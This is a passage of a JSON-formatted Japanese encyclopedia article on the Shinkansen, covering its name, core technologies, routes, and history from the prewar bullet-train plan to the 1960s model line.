"text": "これまでに建設された新幹線は、ミニ新幹線を除き1964年(昭和39年)に開業した東海道新幹線から全て設計最高速度260 km/hで建設されているが、開業時から260 km/h運転を実施するようになったのは1997年(平成9年)10月1日開業の北陸新幹線(当時の通称は長野新幹線)からである。",
"title": "概要"
},
{
"paragraph_id": 12,
"tag": "p",
"text": "「新幹線」という呼称は、かつての鉄道省が東京と下関を結ぶ高速鉄道計画に対して、遅くとも1939年(昭和14年)の時点で用いていた用語である(ただし、この計画については当時の世相を踏まえて「弾丸列車」と呼ばれることの方が多かった)。さらに以前の大正期には「新しい幹線交通」を指す用語として「新幹線」の用語が用いられていたという。",
"title": "概要"
},
{
"paragraph_id": 13,
"tag": "p",
"text": "法律上、最初に「新幹線鉄道」の語が現れるのは、昭和39年6月22日法律第111号「東海道新幹線鉄道における列車運行の安全を妨げる行為の処罰に関する特例法」(現「新幹線鉄道における列車運行の安全を妨げる行為の処罰に関する特例法」)である。東海道新幹線は在来線である東海道本線の線増として建設されたために「東海道新幹線鉄道」とされた。",
"title": "概要"
},
{
"paragraph_id": 14,
"tag": "p",
"text": "『新幹線』という名称は、東海旅客鉄道・東日本旅客鉄道・西日本旅客鉄道の3社名義にて、複数の分野で商標登録されている。例えば「鉄道による輸送」では第3066558号である。",
"title": "概要"
},
{
"paragraph_id": 15,
"tag": "p",
"text": "日本国内の駅内の案内板等の英語表記では、路線を指す場合は「しんかんせん」のローマ字表記である Shinkansen を使用し、列車名(便名)を表す場合は、各駅に停車する列車も含め、かつて「ひかり」の種別として用いられていた「超特急」の直訳である Superexpress を愛称名の後ろに付けて「NOZOMI Superexpress」などと表現している。これは特急(特別急行列車、Limited express)と急行列車(Express)を異なる種別として認識し、さらに新幹線を(通常の)特急とも区別しようとする日本独特の表現とも考えられる。",
"title": "概要"
},
{
"paragraph_id": 16,
"tag": "p",
"text": "日本国外において新幹線について言及する際は「Shinkansen」と表記される一方で、戦前からの計画名称である「弾丸列車」の直訳である「Bullet train」の表現を用いることがある。例えば、1975年(昭和50年)に日本で公開され、翌年アメリカで公開された映画『新幹線大爆破』の英題の1つも \"The Bullet Train\" であり、2022年公開の新幹線を舞台にしたブラッド・ピット主演の映画タイトルも「ブレット・トレイン」(Bullet Train) である)。",
"title": "概要"
},
{
"paragraph_id": 17,
"tag": "p",
"text": "新幹線鉄道は、その大部分の区間において200 km/hを超える速度で運行するため、在来線鉄道とは異なったさまざまな技術が用いられている。速度のみならず、乗り心地や安全面でも世界的に見ても非常に高い水準が確保されている。",
"title": "主要技術"
},
{
"paragraph_id": 18,
"tag": "p",
"text": "新幹線では、動力を編成各車両に分散させる「動力分散方式」が採用されている。動力分散方式を採用することにより、電車方式と同様の、加減速性能の向上・軽量化・軌道への負荷軽減といった利点が追求されている。 また高速走行を行うため、列車編成内における電動車(動力車)の比率(MT比)が極力大きくされている。ブレーキは主電動機の発電抵抗を利用する電気ブレーキと、空気圧動作の摩擦による基礎ブレーキを併用するが、高速域からの減速には主に電気ブレーキが使用される。こうすることによって制輪子の磨耗を抑え、交換周期を延ばすことができる。",
"title": "主要技術"
},
{
"paragraph_id": 19,
"tag": "p",
"text": "また、車両には気密構造が採用されている。高速運転時にトンネルに進入するなどの気圧変動による居住性の低下を防ぐためである。また、0系や100系など国鉄時代の東海道・山陽新幹線車両では車体の素材に普通鋼が使われていたためやや重かったが、東北・上越新幹線用の200系からは耐雪装備による重量増加を抑えるためアルミニウムが用いられて軽量化が図られた。国鉄民営化後に開発された新幹線車両はアルミニウム車体が一般化、さらにアルミ材の加工手法の発達により、製作費のコストダウンとさらなる軽量化の両立が図られた。この結果、国鉄時代に開発された初期新幹線車両より著しく軽量化されている。",
"title": "主要技術"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "一方で、JR発足以降積極的に行われた高速化に伴い、走行中のパンタグラフと架線の接触や風切り音による騒音の発生や、接触部の著しい消耗などが問題とされた。このため、0系では2両おきに付いていたパンタグラフが300系では8両毎に1つに減ったほか、500系では翼型と呼ばれるT字型の特殊な集電装置が設置されるなど改良され、騒音を抑えながら集電効率を向上させた。また、パンタグラフに流線型の突起物を取り付けるなどの改良も加えられた。その他、高速でのトンネルの突入時のトンネル内部の急激な気圧変化による騒音(トンネル微気圧波)の発生を抑えるための、走行時の空気の流動性やトンネル進入時の面積変化率を考えた先端車両の開発などが行われているため、初期の0系に比べ先頭車先端部が長く伸ばされるとともに、通常の電車とは著しく異なった形態(鋭い流線型やカモノハシのような形)を呈する傾向にある。",
"title": "主要技術"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "高速走行を行うため、在来線と同じ信号炎管や軌道短絡器による列車防護(他の列車を停止させること)では他の列車が停止しきれない可能性が高まる。そのため、緊急時に他の列車を迅速に停止させられるように在来線とは異なる列車防護の方式が採られている。",
"title": "主要技術"
},
{
"paragraph_id": 22,
"tag": "p",
"text": "前述のとおり、新幹線は軌間や電圧、運行管理システムなど在来線と異なる技術基準が多く採用されており、基本的には他国の高速鉄道で行われているような在来線との直通運転はできない。しかし、新幹線列車を在来線に直通運転させる、あるいは在来線列車を新幹線規格の路線に走行させて利便性を確保しようとする研究が行われている。",
"title": "在来線との直通"
},
{
"paragraph_id": 23,
"tag": "p",
"text": "なお、北海道新幹線のうち青函トンネルとその前後区間は、フル規格の新幹線路線に狭軌を併設した三線軌条とした上で、新幹線規格の電圧・信号システムに対応した在来線車両(EH800形機関車など)が走行できる「在来線(海峡線)との共用区間」として取り扱っている。",
"title": "在来線との直通"
},
{
"paragraph_id": 24,
"tag": "p",
"text": "まず1964年に東海道新幹線が開業し、これを延長する形で山陽新幹線の工事も始まり、1975年に博多駅まで全線開業した。",
"title": "路線"
},
{
"paragraph_id": 25,
"tag": "p",
"text": "そして1970年には全国新幹線鉄道整備法が定められた。これによりまず東北・上越・成田の各新幹線の整備計画が決定し、続いて北海道新幹線、東北新幹線( 盛岡市- 青森市間)、北陸新幹線、九州新幹線鹿児島ルート、同長崎ルート(西九州ルート)の5線の整備計画も決定された(整備新幹線)。",
"title": "路線"
},
{
"paragraph_id": 26,
"tag": "p",
"text": "整備新幹線以前に計画された路線は、計画が失効した成田新幹線を除き開業しており、整備新幹線の一部も開業している。しかしその一方で、基本計画が定められたまま着工の目処が全く立っていない路線も存在する。",
"title": "路線"
},
{
"paragraph_id": 27,
"tag": "p",
"text": "東海道新幹線と山陽新幹線を併せて「東海道・山陽新幹線」、東北新幹線と上越新幹線を併せて「東北・上越新幹線」と呼ぶことがある。東海道・山陽新幹線は国鉄時代は一体的な運用がなされており、民営化後も多くの列車の相互直通運転が行われているため一括して扱われることが多い。1982年に東北・上越新幹線が開業するまでは単に「新幹線」と呼ばれることもあった。東北・上越新幹線は1982年に相前後して開業した東側のフル規格新幹線で、東海道・山陽新幹線のような一体的な運用はないが、一部の区間を共用するほか、車両やATCなどの運行システムが共通である。",
"title": "路線"
},
{
"paragraph_id": 28,
"tag": "p",
"text": "このほか、東海道・山陽新幹線にならって相互直通運転がなされている新幹線同士を総称し、「東海道・山陽・九州新幹線」、「山陽・九州新幹線」、「東北・北海道新幹線」、「北海道・東北新幹線」と呼ぶことがある。",
"title": "路線"
},
{
"paragraph_id": 29,
"tag": "p",
"text": "以下の8路線が開業している。北陸新幹線・北海道新幹線・西九州新幹線は一部分のみの開業である。",
"title": "路線"
},
{
"paragraph_id": 30,
"tag": "p",
"text": "JR東日本とJR北海道は東北新幹線と北海道新幹線で、JR東日本とJR西日本は北陸新幹線で、JR東海とJR西日本は東海道新幹線と山陽新幹線で、JR西日本とJR九州は山陽新幹線と九州新幹線で、それぞれ相互直通運転を行っている。以前、山形新幹線用・秋田新幹線用の車両の一部は保有会社からの貸出であったが、現在はすべてJR東日本の所有する車両で運行されている。",
"title": "路線"
},
{
"paragraph_id": 31,
"tag": "p",
"text": "東京駅では東海道新幹線と東北新幹線の線路が接続されていないため、博多や新大阪から新函館北斗まで(その逆も)直通列車で行くことはできず、東京駅での乗り換えが必要となる。国鉄時代の利用状況の調査で東京都内を通過する需要が非常に小さいということは判明していたが、当時博多・札幌開業の際には夜行列車の運転も計画されていた。そのため、全列車が東京駅での折り返すのであれば、ホームの容量は大幅に不足するとみられていた。そこで、両線を直通運転として東海道の列車は田端基地、東北・上越の列車は品川基地での折り返しとすることとして建設計画が立てられた。あわせて、田端以北に異周波デッドセクションを設けることが計画され、直通運転の試験車両として961形も製造された。実際に、東京駅の東海道新幹線14・15番線ホームは直通を想定して作られたため、ホームが東北新幹線側にカーブしている。それでも、東京駅のホーム容量が不足する状態となったときは、上越新幹線を大宮駅から新宿駅へ分岐させる構想としていた。しかし、ダイヤの乱れが相互に波及し運転管理面に多くの問題が予想されること、周波数が、東海道・山陽新幹線:60 Hz・東北・上越新幹線:50 Hzと異なることや、東北・上越新幹線用のものには降雪対策が施された車体設計にしなければならない点などから、1996年に計画の中止が発表された。計画については、「東北新幹線#東海道・山陽新幹線との直通運転」も参照。",
"title": "路線"
},
{
"paragraph_id": 32,
"tag": "p",
"text": "以下の2路線が開業している。過去には東北新幹線の盛岡以北および北陸新幹線の軽井沢以西もミニ新幹線として建設することが検討されたが、前者は地元の積極的な運動、後者は長野オリンピックとの兼ね合いがあり最終的にはフル規格で建設された。",
"title": "路線"
},
{
"paragraph_id": 33,
"tag": "p",
"text": "新幹線の回送線で旅客扱いを行う区間。距離が短く高速運転を行わないなどといった理由で在来線扱いとされているが、車両や設備は新幹線のものであるため、これらの路線を走る列車は一般の「特急列車」扱いとされ、乗車の際には乗車券のほかに特急券を要する。",
"title": "路線"
},
{
"paragraph_id": 34,
"tag": "p",
"text": "新幹線では通常、東京駅 - 上野駅間や東京駅 - 品川駅間などの短距離区間であっても、自由席特定特急料金として870円が必要となる。しかし上記の区間は在来線特急扱いであるため、特定特急料金がJRの特急料金では最低の100円となる。",
"title": "路線"
},
{
"paragraph_id": 35,
"tag": "p",
"text": "北陸新幹線と九州新幹線鹿児島ルート・西九州ルートのそれぞれ一部区間は、当初この方式で着工されたが、後に標準軌新線(フル規格)に変更されたため、この方式で開業した新幹線路線は存在しない。",
"title": "路線"
},
{
"paragraph_id": 36,
"tag": "p",
"text": "以下の路線は通常の在来線として開業したが、将来の新幹線路線の敷設を考慮し、車両限界等が新幹線規格で建設されている。なお、海峡線の新中小国信号場 - 木古内駅間 (85.5 km) は2016年(平成28年)3月26日から北海道新幹線と共用されている。",
"title": "路線"
},
{
"paragraph_id": 37,
"tag": "p",
"text": "1970年(昭和45年)5月18日に公布された全国新幹線鉄道整備法に基づき基本計画線が挙げられたが、オイルショックや国鉄の経営悪化などの影響を受けて、以下の新幹線の着工は見送られた。このうち整備新幹線は平成に入って着工したが、基本計画のまま着工の目処が全く立っていない路線も存在する。この区間については建設を望む声が根強く残っている区間や、フリーゲージトレインによる新幹線との直通運転が提案されている区間も存在する。",
"title": "路線"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "1973年(昭和48年)11月13日に整備計画が決定したいわゆる「整備新幹線」と、2011年(平成23年)5月26日に整備計画が決定した中央新幹線がある。",
"title": "路線"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "新幹線の列車名(列車愛称)は、東海道・山陽・九州新幹線では速度別につけられている。JR東日本の山形・秋田新幹線およびJR九州の西九州新幹線は列車名が単一である。JR東日本の北陸新幹線とJR九州の九州新幹線も部分開業時は列車名が単一であった。JR東日本の新幹線では、E1系・E4系「Max」を使用する場合は列車名の前に「Max」が付いていた。",
"title": "列車名"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "日本の鉄道は明治時代の草創期にコストの面から狭軌を採用したため、その規格の低さに加えて地形的な事情から勾配や曲線が多いなどの制約を受け、欧米の鉄道のような高速運転とは無縁であった。最高速度は1910年代から1950年代まで100 km/h以下に留まっていた。",
"title": "歴史"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "そこで標準軌に改軌する提案も、明治から大正にかけて何度か出されていたが、政争や予算問題などから結局実現しなかった(日本の改軌論争も参照)。",
"title": "歴史"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "また1910年代には、東京 - 大阪間に電車による高速新路線「日本電気鉄道」を敷設する計画が民間から出されたが、国の許可するところとならず、実現には至っていない。",
"title": "歴史"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "日本における現実的な高速列車開発は、日本の勢力下にあった満洲(現在の中国東北部)を縦断する南満洲鉄道(満鉄)に始まる。同社は日本の資本と技術により運営されており、ほとんどの幹部・技術者が日本人で、実質的に日本の鉄道と言っても過言ではない。",
"title": "歴史"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "当時の満鉄は電化以前の鉄道で蒸気機関車牽引であったが、1,435 mmの国際標準軌(日本では広軌と称した)を用いた高規格路線であり、保守的な日本内地の鉄道省とは一線を画した先進的な試みを早くから行っていた。",
"title": "歴史"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "1934年(昭和9年/康徳元年)、満鉄は自社設計によって当時の欧米の潮流に互した流線形蒸気機関車「パシナ形」を開発、これに新開発の流線形客車編成を組み合わせ、大連 - 新京(現・長春)間701 kmに特急「あじあ」号を運転開始した。この列車は最高速度120 km/h以上を誇り、最高95 km/hに留まる鉄道省の列車をはるかに凌駕した。所要8時間30分、表定速度は82 km/hに達した。",
"title": "歴史"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "とはいえ、当時の欧米の鉄道はさらに上を行っていた。例えばイギリスのロンドン・アンド・ノース・イースタン鉄道(LNER)がロンドン - エディンバラ間に運転していた特急列車「フライング・スコッツマン」は、蒸気機関車牽引で最高速度160 km/h以上での営業運転を行っており、ドイツ国鉄では気動車列車「フリーゲンダー・ハンブルガー」が150 km/h 以上の高速で営業運転していた。さらにアメリカの私鉄各社には、定期運転列車を牽引して、最高速度は優に180 km/hに達する蒸気機関車さえ存在していたのである。",
"title": "歴史"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "「あじあ」号は全客車冷暖房完備など世界の最先端を行っていた部分もあったが、120 km/h運転そのものは、当時の欧米の主要幹線での標準的な水準に達したものでしかなかった。",
"title": "歴史"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "この技術が、日本本土の鉄道に直接生かされることはなかった。しかし満鉄関係者には鉄道技術者の島安次郎がおり、その長男の島秀雄と共に後述する「弾丸列車計画」を推し進めることになる。",
"title": "歴史"
},
{
"paragraph_id": 49,
"tag": "p",
"text": "なお、前述した日本電気鉄道のように、民間による大規模な都市間電車は実現しなかったが、中近距離の都市間電車に関しては、新京阪鉄道や阪神急行電鉄、参宮急行電鉄、阪和電気鉄道のように、アメリカのインターアーバンの技術を取り入れるなどして実現させた所もあった。これら路線の多くは、既存の鉄道線と競合する形で敷設されたものとなっており、「(既存の並行線よりも)高規格な路線において、高速運転を行うこと」がその建設目的となっていた。「新しい高規格線を敷く」という意味では、新幹線に通じる所もある。",
"title": "歴史"
},
{
"paragraph_id": 50,
"tag": "p",
"text": "その中でも、参宮急行電鉄が転じた関西急行鉄道は途中に伊勢中川駅での乗り換えこそあるものの、大阪と名古屋という中距離の2大都市間(当時の営業キロで189.5 km)を電車で結ぶことに成功しており、また阪和電気鉄道は「あじあ」号の水準に匹敵する、表定速度81.6 km/hの「超特急」を狭軌路線で運転していた。",
"title": "歴史"
},
{
"paragraph_id": 51,
"tag": "p",
"text": "これらの私鉄で用いられた電車はハイレベルな仕様の車両が多く(新京阪P-6形、参急2200系、阪和モヨ100形など)、後述する国鉄における動力分散方式の開発にも、いくらか影響を与えている。",
"title": "歴史"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "1930年代に入ると、満洲事変や日中戦争の激化などにより、日本から中国や満洲国へ向かう各種物資輸送需要の激増で、東海道・山陽本線の輸送量も増大した。",
"title": "歴史"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "このころ鉄道省内部に「鉄道幹線調査会」が設立され、主要幹線の輸送力強化についての検討が行われた。ここから抜本的な輸送力増強手段として1939年に発案されたのが「弾丸列車計画」であった。",
"title": "歴史"
},
{
"paragraph_id": 54,
"tag": "p",
"text": "これは、東京から下関まで在来の東海道・山陽本線とは別に広軌(1,435 mm・標準軌)の新路線を建設し、最高速度200 km/hと満鉄「あじあ」号を超える高速運転を行い、東京 - 大阪間を4時間、東京 - 下関間を9時間で結ぶことを計画したものであった。この計画は翌1940年(昭和15年)9月に承認され、建設工事が始められることになった。",
"title": "歴史"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "すでにこの時点で、新しい幹線を敷設するということから「新幹線」や「広軌新線」という呼称を内部関係者は用いていた。「新幹線」の語はここが起源であるとされている。",
"title": "歴史"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "また将来的には対馬海峡に海底トンネルを建設して、統治下である朝鮮半島へ直通、釜山から奉天(現:瀋陽)を通り満洲国の首都新京(現:長春)、さらには北京・昭南(現:シンガポール)に至る、という構想も一部では描かれていた。",
"title": "歴史"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "当時の鉄道では、日本においてもまだ機関車が客車を牽引する方式が一般的であったうえ、完全電化したものの、発電所が敵国からの攻撃を受けた場合の対処について軍からクレームを受けたために、「弾丸列車」も電気機関車と蒸気機関車を併用する方式で計画された。",
"title": "歴史"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "1941年12月の太平洋戦争勃発後も工事は続けられ、日本坂トンネルや新丹那トンネルが、1942年には東山トンネルの工事が着工したが、最終的には戦況の悪化で中断した(その後再開され新幹線に利用)。しかし、そのルートの相当部分が後の東海道新幹線建設で役立てられた。特に、土地買収が戦時中の時点で半ば強制的な形で相当な区間において終わっていたことは、新幹線建設をスムーズにした。",
"title": "歴史"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "この弾丸列車計画の技師たちが居住した地として、静岡県田方郡函南町には「新幹線」という地名が、東海道新幹線の開業前から存在した。",
"title": "歴史"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "太平洋戦争終結後数年間、鉄道をも含めて混乱の極みにあった日本も、1950年(昭和25年)の朝鮮戦争以降本格的に復興し、鉄道の都市間輸送需要も急激に伸張していった。",
"title": "歴史"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "旧日本軍の研究部門や軍需企業、旧南満洲鉄道に所属し、戦後その職を失ったり技術を持て余していた優秀な人材を、昭和20年代の国鉄が多数獲得したことは見逃せない事実である。高速走行中の車両の振動や、空力特性の研究は、旧軍出身技術者の存在によって大きく進展した。",
"title": "歴史"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "1955年(昭和30年)に国鉄総裁に就任した十河信二は、国鉄出身の卓越した技術者であるが一時民間にあった島秀雄を再度招聘し、国鉄技師長に就任させた。彼らを中心とする人々が、その後新幹線計画を推進することになる。",
"title": "歴史"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "地盤が悪く山がちな日本において列車を高速運転するには、機関車が客車を牽引する「動力集中方式」よりも、電車・気動車のように編成の各車両に動力を持たせる「動力分散方式」の方が適している。カーブや勾配の多い条件でも加減速能力に優れ、また線路への負担が小さいため、脆弱な地盤に敷かれた線路でも高速を出せるからである。当時は蒸気機関車主流の時代であり、また国際的に見ても主流であることから、国鉄部内でも動力集中式に固執する者が多かったが、島秀雄は例外的に戦前から動力分散方式の特性を理解し、研究していた。",
"title": "歴史"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "島は1951年(昭和26年)に事情によって国鉄を離れていたが、彼の指揮の下で1950年(昭和25年)に開発された東海道線普通列車用の80系電車は、短距離向けと見られていた電車が、長距離運転にも優れた特性を発揮するという事実を実証し、その後国鉄の在来線に電車・気動車の普及を進める原動力となった。島の復帰以降、国鉄の動力分散化の流れはさらに加速する。",
"title": "歴史"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "日本では1953年(昭和28年)以降、欧米からの新技術移入や国内メーカーの技術開発に伴い、電車の高性能化の動きが始まった。",
"title": "歴史"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "この過程で、振動を抑制し、乗り心地改善と高速運転に資する「カルダン駆動方式」と高速対応の新型台車、床面シャーシだけでなく側板や天井にも応力を分散させた「全金属製軽量車体」、全車両にモーターを搭載して加速力を高める「全電動車方式」、反応速度が速い上に取り扱いが容易な「電磁直通ブレーキ機構」、制御装置1台を2両の電動車で共用して軽量化やコストダウンを実現する「1C8M方式(MM'ユニット方式)」など、それ以前の電車とは一線を画する重要な革新的技術が、1953年(昭和28年)からわずか数年の間に実用化された。",
"title": "歴史"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "この結果、高速性能・加減速性能に優れ、しかも居住性の良い高性能電車が、1954年(昭和29年)以降大手私鉄を中心に続々と出現して、大きな技術的成功を収めた。国鉄もこの潮流に乗って高性能電車の開発に取り組み、1957年(昭和32年)に新型通勤電車モハ90系(後の101系)を完成させる。",
"title": "歴史"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "同年に小田急電鉄が完成させた低重心・連接構造の流線型特急電車3000形「SE車」は、鉄道技術研究所の技術指導を受けて設計された車両で、最高速度145 km/hを目指した野心作であった。しかし、曲線の多い小田急の路線ではその高速性能は十分に発揮できなかったため、小田急から国鉄に対して、試験で収集されたデータを小田急と国鉄の双方で利用することを条件として、軌道条件の優れている国鉄の路線上での走行試験について申し入れがあった。",
"title": "歴史"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "国鉄はこの申し入れに対して快諾、小田急からSE車を借り入れ、1957年(昭和32年)9月に東海道本線で速度試験を行った。結果SE車は計画通りの145 km/hに到達し、当時の狭軌鉄道における世界速度記録を達成した。続いて国鉄はモハ90系通勤電車をギア比変更などで高速化改造、空気抵抗の面で不利な形態ながら135 km/hの好記録を達成した。",
"title": "歴史"
},
{
"paragraph_id": 70,
"tag": "p",
"text": "これらの実績を踏まえて、1958年(昭和33年)にはモハ90系の技術を応用し、東海道本線特急「こだま号」用に国鉄初の特急形電車モハ20系(後の151系)が開発された。流線型の軽量・低重心な車体は冷暖房完備で、空気ばね台車も装備し、スピードと快適な乗り心地を両立させて、動力集中方式の客車列車を完全に凌駕した。翌1959年7月には、東海道本線での速度試験で通常編成(4M4Tの8両編成)からデッドウェイトとなる付随車2両を抜いた6両編成で最高速度163 km/hに達し、小田急SE車の速度記録を更新した。",
"title": "歴史"
},
{
"paragraph_id": 71,
"tag": "p",
"text": "これらの電車における顕著な成績は、動力分散方式の資質を実証し、ひいては新幹線車両に電車を用いることへの強力な裏付けとなった。",
"title": "歴史"
},
{
"paragraph_id": 72,
"tag": "p",
"text": "1955年(昭和30年)から国鉄は交流電化方式の実用化に独自に取り組む。同年国鉄代表団はフランスパリで、狭軌用交流機関車を買いつける算段をするが、日本側は技術研究のための5両程度の買い付け意欲しかみせず、交渉は決裂。日本では同年中に独自開発による商用周波数の単相交流(20 kV 50 Hz)を使用する電気機関車2両(ED44 1(日立製作所製)・ED45 1(三菱電機・新三菱重工業製))の試作に成功する。",
"title": "歴史"
},
{
"paragraph_id": 73,
"tag": "p",
"text": "これらの試作車による研究成果を受けて、国鉄は1957年の北陸本線を皮切りに、地方線区での交流電化を開始した。これ自体は従来の直流電化に比べ、変電所間隔を長くできることから地上設備コストが低いと考えられたことによるものであったが、後に新幹線の電化システムに応用されることになる。超高速の電気鉄道においては大量の電力消費が生じ、これに伴って架線から効率よく集電するには、従来から用いられて来た1,500 Vの直流電源より、大電力を長距離送電できる高圧交流電源を用いる方が適していたのである(日本の鉄道の交流電化方式は在来線20 kV、新幹線25 kVで、電圧だけでも直流電化路線の10倍以上のレベルである)。",
"title": "歴史"
},
{
"paragraph_id": 74,
"tag": "p",
"text": "戦後の復興と共に鉄道および道路輸送の需要が増大すると、当時の日本における最重要幹線であった東海道本線の貨客輸送能力は、ほぼ限界に達していた。1956年に東海道本線の全線電化が完成するが、需要の増加には焼け石に水であった。",
"title": "歴史"
},
{
"paragraph_id": 75,
"tag": "p",
"text": "1957年(昭和32年)、国鉄内部の「幹線調査会」は、東海道本線の輸送力飽和は早晩必至とし、現在線以外の線路増設が必要であると答申した。実際の手法としてさまざまな案が出されたが、基本的に以下の3案のいずれかが選択されることになった。",
"title": "歴史"
},
{
"paragraph_id": 76,
"tag": "p",
"text": "東海道の線増計画は、従来の常道であれば複々線案が採られたところであった。しかし、十河ら国鉄幹部は将来の発展性を視野に入れ、あえて困難の多い広軌新線建設を決定したのである。それは戦前の弾丸列車計画を、戦後の技術革新の下で、改めて実現しようとする超高速列車計画であった。",
"title": "歴史"
},
{
"paragraph_id": 77,
"tag": "p",
"text": "同年5月30日には鉄道技術研究所(現:鉄道総合技術研究所)の篠原武司所長らが、鉄道技術研究所創立50周年記念講演「東京 - 大阪間3時間への可能性」で、広軌新線ならば東京 - 大阪間の3時間運転は技術的に可能であるという報告を行った。十河はその話を聞くや強い関心を示し、国鉄幹部を集めて技術研究所員に詳細を話させたという。",
"title": "歴史"
},
{
"paragraph_id": 78,
"tag": "p",
"text": "当時欧米では、将来の大量輸送手段として航空機と高速道路網による高速輸送が有望視され、鉄道はそれらに取って代わられる時代遅れのものだという見解が広まっていた。日本でもこれを範としようとする向きが一般的であり、在来線とは別規格の高速新線を建設するという計画は、国鉄内部でさえも疑問視する者が多かった。",
"title": "歴史"
},
{
"paragraph_id": 79,
"tag": "p",
"text": "鉄道ファンでもある作家の阿川弘之ですら、戦艦大和(大和型戦艦)・万里の長城・ピラミッドが「世界三大馬鹿」であり、この時期に莫大な投資をして新幹線を造れば「第2の戦艦大和」となって世界の物笑いの種になると批判した(後に阿川は新幹線が世界の鉄道斜陽論を覆すに至るまでの成功を収めたのを見て、十河の後を継いで国鉄総裁を務めた石田禮助との対談において、自らの不明を悔やむ発言をしている)。",
"title": "歴史"
},
{
"paragraph_id": 80,
"tag": "p",
"text": "そのような厳しい状況下で、十河と島は東海道に新たな大規模高速輸送用の鉄道路線(新幹線)を実現すべく政治的活動(十河が担当)と、技術的プロジェクト(島らが担当)を続けた。",
"title": "歴史"
},
{
"paragraph_id": 81,
"tag": "p",
"text": "技術的裏付けの下、1958年(昭和33年)に建設計画が承認され、翌1959年(昭和34年)4月20日に起工式が行われた。総工費は当初予定から修正され、3800億円にまで膨らんだ。元々十河などが国会内での承認を得るために安く見積もっていたこと、地価高騰のあおり、さらには新幹線建設に集中するために地方路線建設の陳情を蹴り国会議員の不興を買っていたこともあって、後には国会で責任問題に発展した。新幹線開業前に責任を取る形で十河は国鉄総裁を退任し、島も十河に殉じて国鉄を退職する。",
"title": "歴史"
},
{
"paragraph_id": 82,
"tag": "p",
"text": "1961年(昭和36年)5月1日に国鉄はこのプロジェクトに対し、世界銀行から8000万ドル(当時は1ドル=360円の固定相場制)の融資を受けた(この融資は1981年〈昭和56年〉に返済が完了した)。この融資を受けたことで、新幹線プロジェクトは日本の国家的プロジェクトとなり、国内事情によって中断することは許されなくなった。",
"title": "歴史"
},
{
"paragraph_id": 83,
"tag": "p",
"text": "その建設に関しては前述の通り、戦前の「弾丸列車計画」の際に開削されたトンネルや、買収された用地の多くが活用された。5年という短期間で完成したのは、この時の用地買収および工事があったからだともいわれている。また大阪府・京都府内では、完成した新幹線の線路を高架工事中の仮線として用いて、暫定的に阪急京都本線の電車を走らせていたこともあった(→新幹線の線路を先に走った阪急電車)。",
"title": "歴史"
},
{
"paragraph_id": 84,
"tag": "p",
"text": "1962年(昭和37年)には神奈川県綾瀬付近 - 小田原付近の区間がモデル線として先行整備され、小田原市鴨宮(かものみや)に鴨宮基地とそれを統括するモデル線管理区が置かれた。小田原 - 綾瀬間が試験路線に選ばれた理由は以下の通りである。",
"title": "歴史"
},
{
"paragraph_id": 85,
"tag": "p",
"text": "ここで2編成の試作電車「1000形」を用いて車両と設備のテストを繰り返し、問題点をあぶり出しては改良を重ねていった。1963年(昭和38年)3月30日の速度向上試験では、1000形B編成が256 km/hの国内速度記録を達成している。モデル線での研究は、初代量産形新幹線電車となる0系や、線路設備の開発に生かされることになった。また、ここに中央鉄道学園小田原分所を設けて、新幹線のための乗務員と保線要員の養成も同時に行った。",
"title": "歴史"
},
{
"paragraph_id": 86,
"tag": "p",
"text": "しかし、このモデル線には欠点があった。相模湾に近く、冬でも比較的温暖な鴨宮では、降雪時の高速運転を想定した試験データは十分に得られなかったのである。東海道新幹線の名古屋 - 新大阪間経路は、当初計画した鈴鹿山脈経由ルートが費用や技術・工期の制約から断念され、東海道本線同様に関ヶ原を経由するルートに変更されていた。関ヶ原周辺は谷間で標高も高く、さらに日本海側気候の影響で冬期には激しい降雪のある地域でもある。このような区間を冬期に高速列車で通過する状況の研究が、開業前には十分に行えなかった。このことは、1964年(昭和39年)の開業後初めての冬期に関ヶ原での着雪による車両故障を頻発させる原因となった。",
"title": "歴史"
},
{
"paragraph_id": 87,
"tag": "p",
"text": "このモデル線区は、設備が無駄にならないよう、建設中の路線の一部を先行完成させて利用する手法が採られ、東海道新幹線開業後は新横浜 - 小田原間の一部に組み込まれている。この手法は後続の東北新幹線の小山実験線や、リニア山梨実験線にも踏襲されている。小山実験線には実際に駅施設も設けられ、後に小山駅となった。現在、鴨宮基地のあった場所は保線車輌の基地となっており、その一角には新幹線モデル線を示すモニュメントが設置されている。2009年(平成21年)5月には市民の手によって、0系新幹線の前頭部をモチーフとした「新幹線発祥の地」のモニュメントが建てられた。",
"title": "歴史"
},
{
"paragraph_id": 88,
"tag": "p",
"text": "またテストに使われた試作電車は、東海道新幹線開業後に改造を受けた。A編成は救援車941形に、B編成は電気軌道総合試験車922-0形となり、それぞれ役立てられることになる。941形はまったく活躍することなく廃車となったが、922-0はその後0系を元とした「ドクターイエロー」が登場するまで生き永らえた。",
"title": "歴史"
},
{
"paragraph_id": 89,
"tag": "p",
